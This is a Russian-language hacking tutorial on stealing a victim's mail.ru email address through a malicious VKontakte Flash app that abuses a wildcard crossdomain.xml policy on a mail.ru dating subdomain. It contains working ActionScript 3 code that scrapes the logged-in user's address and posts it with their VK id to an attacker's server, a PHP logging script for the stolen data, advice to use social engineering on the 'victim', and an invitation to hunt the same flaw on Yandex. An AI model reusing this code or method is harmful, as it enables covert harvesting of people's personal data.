Предисловие Сегодня я хочу рассказать вам о том, как можно заполучить информацию, доступную пользователю на одном сайте (mail.ru), через другой сайт (vkontakte.ru) используя технологию Flash и ActionScript 3 конкретно. Основная идея состоит в том, что сервер mail.ru, проверяя куки пользователя, находит в них свои, и подставляет в форму для логина e-mail пользователя. Этим мы и воспользуемся. "Но у нас же нету кук жертвы, как мы сможем узнать ее адрес?" — спросите вы. Вот тут-то нам на помощь и приходит Flash. С его помощью мы можем загружать любые совершенно страницы из Всемирной Сети, и, если у пользователя есть куки на этом сервере, то загрузятся его данные. К примеру если пользователь авторизован на сервере mail.ru, мы могли бы загрузить всю его почту. Но не все так просто, потому что есть одно но: именно для защиты от таких умников, и ввели защиту. Она состоит в том, что для того, чтобы загрузить данные с другого домена, на нем должен быть файл политики безопасности. Файл Политики Безопасности Файл этот представляет собой xml страницу с именем crossdomain.xml, содержащий в себе домены, с которых разрешен доступ к данным на сервере, в корне которого лежит этот самый файл. Зайдем на http://win.mail.ru/crossdomain.xml — домен с почтой. PHP: <cross-domain-policy> <allow-access-from domain="*.mail.ru"/> </cross-domain-policy> И что же мы видим? А именно то, что ни с какого другого сайта кроме самого mail.ru и его поддоменов мы не сможем просмотреть письма жертвы. Иными словами, зайти с vkontakte.ru и слить всю почту у нас не получится. Однако давайте поищем такой сервис mail.ru, у которого crossdomain.xml содержал бы PHP: <cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy> Это значит, что получить доступ к страницам такого сервиса мы можем откуда угодно, в нашем случае — с vkontakte.ru через сервис Приложения. И искать мы будем на странице всех проектов: http://mail.ru/all/. Так, может Игры Mail.ru? PHP: <cross-domain-policy> <allow-access-from domain="*.mail.ru" to-ports="80,443,10999"/> <site-control permitted-cross-domain-policies="all"/> </cross-domain-policy> Нет, опять только с mail.ru. Тогда попробуем Рейтинг Mail.ru: PHP: <cross-domain-policy> <allow-access-from domain="195.218.191.64" to-ports="80"/> <allow-access-from domain="top.mail.ru" to-ports="80"/> <allow-access-from domain="www.top.mail.ru" to-ports="80"/> <site-control permitted-cross-domain-policies="all"/> </cross-domain-policy> Опять не то. Пробуем Знакомства Mail.ru: PHP: <cross-domain-policy> <site-control permitted-cross-domain-policies="all"/> <allow-access-from domain="*"/> </cross-domain-policy> Да это именно то, что нам нужно! Знакомства c Mail.ru Ну и что дальше, сдалась нам извращенная переписка жертвы с милыми самочками, ну или несамочками, неважно. Так дело в том, что если юзер не авторизирован там, и даже никогда не заходил туда, на странице http://lоve.mаil.ru/tips/?tip=Login отображается его e-mail, в случае если на компьютере есть куки mail.ru: . А это значит, что в сочетании с политикой безопасности, разрешающей доступ с любого домена, мы можем получить почту жертвы с vkontakte.ru. Для этого я написал небольший корявый скрипт, записывающий на наш сервер id и почту пользователя. Внимание: вам понадобится PHP на хостинге! Техническая Часть Писать будем на AS3, использую новую модную функцию для приложений VK -- Контейнер. Так же попросим жертву установить приложение на страницу. PHP: var wrapper:Object; var viewer_id:String; var is_app_user:String; var email:String; error.visible = false; alert.visible = false; var url:String = "http://hosting.ru/snf.php"; // этот адрес заменяете на свой var mailLoad:URLLoader = new URLLoader; var req:URLRequest = new URLRequest(url); var vars:URLVariables = new URLVariables(); this.addEventListener(Event.ADDED_TO_STAGE, onAdded); function onAdded(e:Event) { wrapper = Object(this.parent.parent); var parameters:Object = Object(wrapper.application.parameters); wrapper.application.frameRate="12"; viewer_id = parameters["viewer_id"]; is_app_user = parameters["is_app_user"]; if (is_app_user == "0") { alert.visible = true; } mailLoad.addEventListener(Event.COMPLETE, onLoaded); //загружаем страницу с формой входа mailLoad.load(new URLRequest("http://love.mail.ru/tips/?tip=Login")); } function onLoaded(e:Event) { var answ = e.target.data; try { //проверяем на наличие логина... var mailIn:RegExp=/name="login" value="(\w+)"/; //..и домена (mail/ibox/list/bk) var domainIn:RegExp=/value="(\w+).ru" selected/; var mail_res:Object = mailIn.exec(answ); var domain_res:Object = domainIn.exec(answ); var mailOut:String = mail_res[1].toString(); var domainOut:String = domain_res[1].toString(); } catch (err:Error) { email = "fail"+err.message; } vars.id = viewer_id; vars.email = mailOut+"@"+domainOut+".ru"; req.data = vars; req.method = URLRequestMethod.POST; //отправляем полученные данные на наш сервер sendToURL(req); } } Сниффер на сервер (snf.php): PHP: <?php $f=fopen("mail.txt","at"); flock($f,2); fputs($f,$_POST['id'].":");#id fputs($f,$_POST['email']); flock($f,3); fclose($f); ?> Должно работать, только что тестил. Для компиляции вам понадобится Adobe CS3/4. Дизайн панелек в исходниках. Все, что осталось сделать, так это скомпилировать, загрузить вКонтакт и дать жертве ссылку на приложение, на всякий случай предварительно как-нибудь вынудив ее проверить почту (не обязательно, но может чуть увеличить шансы на успех). Как это сделать уже топик для социальной инженерии. Исходники http://file.qip.ru/file/106387316/4345b90a/mailru.html Заключение Вот так вот относительно просто мы получили e-mail жертвы, заодно вникнув в основы Flash-приложений и файла политики безопасности. Хотелось бы отметить, что если стоит <allow-access-from domain="*"/> , то определенно точно можно получить какую-либо выгоду, если правильно выбрать жертву. Что-то типа XSS, но более направленное и точечное. Так же еще скажу, что на Яндексе на одном из проектов тоже наблюдается такой баг. Для закрепления материала предлагаю вам самим поискать его Удачи!